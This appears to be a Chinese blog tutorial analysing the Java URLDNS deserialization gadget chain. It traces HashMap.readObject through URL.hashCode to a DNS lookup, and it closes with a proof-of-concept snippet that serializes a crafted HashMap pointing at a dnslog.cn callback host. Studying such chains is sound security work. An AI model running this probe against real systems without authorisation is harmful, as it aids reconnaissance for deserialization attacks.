URLDNS链子
我们想要反序列化HashMap类,势必会去调用readObject()方法。
而如何利用HashMap中的重写不当的readObejct()方法就成了关键,我们来看readObject()方法中做了这样一件事。
反序列化时,会去重新遍历所有键值对,重新循环存入HashMap。
注意这里去重新对key计算hash,这里是我们发起dns请求的关键。
只要我们传入的key是URL
类型,那么我们就可以调用到URL类的hashCode()
方法。
以下是完整的调用链。
HashMap->readObject()
HashMap->hash()
URL->hachCode()
URLStreamHandler->hachCode()
URLStreamHandler->getHostAddress()
InetAddress.getByName()
按照如上大致的分析,我们用框图更直观的大概表示反序列化过程。
但是我们要写出正确的POC时,还有一些关于put方法的细节问题要处理。
我们在第一步通过put
方法放入键值对,注意这个方法。
是不是感觉有点熟悉?它与HashMap
的readObject
方法一样,都是去调用了putVal
方法实现,并重新计算了key的hash。
进入hash
方法计算key
时,实际上我们进入了URL
类 的hashCode()
方法。
这里需要特别注意,URL对象被创建时,hashCode的默认值是-1。
我们put键值对到hashMap
时并不会直接返回hashCode
,而是去调用handler
的hashCode
方法并返回计算的hashCode
值。
这里需要解决两点问题:
- 1.重新计算的
hashCode
值肯定不再是-1。
transient URLStreamHandler handler;
- 2.
put
方法实际与我们的反序列化调用链相同,同样会去发起DNS请求。(怎么区分是put
时还是反序列化时产生的dns呢?)
hashMap.put(url,null);
URL->hachCode()
URLStreamHandler->hachCode()
URLStreamHandler->getHostAddress()
InetAddress.getByName()
解决这两个问题的方法:
-
放入数据之前将hashCode值设置不等于-1,这样调用
put
方法时就不会进入DNS查询,以免我们分不清楚到底是put时产生的dns还是反序列化时产生的dns请求。 -
反序列化后重新进入URL—>hashCode()流程时。将hashCode值重新更改为-1。
正确的流程应该是这样:
思考:设置hashCode初始值的意义是什么?
这里起的应该是缓存的作用,防止hashCode值一直发生改变。
hashCode初始值为-1,第一次调用hashCode方法时代表未缓存,会去计算hashCode值,而第二次就会直接返回了。
根据以上分析写出URLDNS链子的POC:
URL url = new URL("http://urldns.6up435.dnslog.cn");
HashMap hashMap = new HashMap();
//利用反射,在put前将url对象的hashCode值设置成不为-1
Class cls = url.getClass();
Field hashCode = cls.getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(url,"任意不等于-1的值"); //已经缓存,直接返回hashCode
hashMap.put(url,"任意value");
//put后再利用反射将hashCode改为-1
hashCode.set(url,-1);
//序列化
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(hashMap);
//反序列化
ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject();
标签:HashMap,链子,hashCode,URL,url,URLDNS,put,序列化
From: https://www.cnblogs.com/Rainy-Day/p/17145389.html